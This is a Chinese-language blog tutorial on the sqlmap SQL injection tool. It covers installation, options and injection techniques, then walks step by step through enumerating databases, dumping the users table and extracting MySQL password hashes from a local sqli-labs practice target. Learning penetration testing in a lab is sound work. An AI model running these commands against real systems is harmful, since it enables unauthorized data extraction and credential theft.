Sqlmap详解

一、Sqlmap

  sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

二、Sqlmap采用了以下5种独特的SQL注入技术

  基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  联合查询注入,在可以使用Union的情况下注入
  堆查询注入,可以同时执行多条语句时的注入


Sqlmap的强大的功能包括数据库指纹识别数据库枚举数据提取访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,支持Windows和Linux,kail中已经自带无需再次安装。

下面我们就以kail 为例进行演示,使用 -h 参数查看sqlmap的参数以及用法:sqlmap -h

三、sqlmap安装

1.SQLMAP 安装 (Linux)

官网:  http://sqlmap.org/

下载:  

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2.SQLMAP 安装 (Windows)

a. 下载 python 2.7   Python 3 

官网: https://www.python.org/downloads/

b.安装 python 2.7 C:\Python27

     安装 python 3 C:\Python3

c. 下载 sqlmap 解压到 C:\Python27 C:\Python3 下 

:  D:\Python38\sqlmap

四、SQLMAP 的用法

Usage: python2 sqlmap.py [options]

-u URL, --url=URL   目标 URL (比如 "http://www.site.com/vuln.php?id=1")
--data=DATA         POST 方式提交数据 (e.g. "id=1")
--dbms=DBMS         指定后台数据库
--level=LEVEL       执行级别 (1-5, default 1)
-a, --all           Retrieve everything
-b, --banner        Retrieve DBMS banner
--current-user      列出当前用户名
--current-db        列出当前数据库名
--dbs               列出所有数据库名
--passwords         列出用户密码的hash值
--tables            列出表名
--columns           列出表中的列名
--dump              Dump 出表中记录
--os-shell          提示进入操作系统 shell
--batch             永远不要要求用户输入,使用默认行为 

输出等级 -v

0:只显示  错误信息 [ERROR] 和关键信息 [CRITICAL];
1:同时显示普通信息 [INFO] 和警告信息 [WARNING];
2:同时显示调试信息 [DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示 HTTP 请求;
5:同时显示 HTTP 响应头;
6:同时显示 HTTP 响应体

注意:

  默认是 1,也可以在命令后指定 -v 3 就是等级 3 的输出

五、SQLMAP 步骤

1. 探测目标  (使用参数 -u --url )

python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=2

2. 列库 dbs

在检测出了存在注入后,开始爆库,命令是 --dbs

3. 列表 tables

爆完库后,开始爆表,命令: -D '库名' --tables

4. 列出表中字段 columns

爆了库和表,开始爆表中字段,命令是  -D '库名'  -T '表名' --columns

5. 列出表中数据

爆了库和表,开始爆表中字段,命令是  -D '库名'  -T '表名' --dump

6. 针对有  http 认证的公网主机  

kali-A:/opt/sqlmap# python2 sqlmap.py  -u http://IP/sqli-labs/Less-14/ --data="uname=admin&passwd=xxxx" --dbs --auth-type="Basic" --auth-cred="user2:pentest2"

注意:  

  &submit=Submit 可以不写

提醒: 

对于 需要 http 验证的网页, 进行sqlmap注入的话, 要注意下列两点:

1. 只能用 下载的 sqlmap.py 不能用 kali自带的 sqlmap

2. 只能在 python2.6 2.7已经python3 的环境下用

六、实操案例: 

1. 探测目标  (使用参数 -u --url ) ( --batch 自动化注入)

sqlmap -u http://localhost/sqli-labs/Less-1/?id=2

2. 列出库名 (全部库名  --dbs , 当前库名 --current-db  )

sqlmap -u http://localhost/sqli-labs/Less-1/?id=2 --current-db --dbms=mysql

3. 列出表名 (  --tables -D 库名)

sqlmap -u http://localhost/sqli-labs/Less-1/?id=2 -D security --tables

4. 列出表中字段 ( -D '库名'  -T '表名' --columns )

sqlmap -u http://localhost/sqli-labs/Less-1/?id=2" -D security -T users --columns

5. 列出表中数据 ( -D '库名'  -T '表名' --dump )

sqlmap -u http://localhost/sqli-labs/Less-1/?id=2" -D security -T users --dump

6.破解 MySQL mysql用户口令

sqlmap -u http://localhost/sqli-labs/Less-1/?id=2" --passwords

其他一些参数

  参数: --level=LEVEL

  默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用 --level参数且数值>=2的时候会进行cookie注入测试;当>=3时,会进行User-AgentReferer的注入测试。

  参数:--referer
  sqlmap可以在请求中伪造HTTP中的referer,用法与user-agent的用法相同。

  当--level参数设定为3或者3以上的时候会尝试对referer注入。

 

posted @ 2019-11-13 18:28  酒剑仙*  阅读(1605)  评论(0)    收藏  举报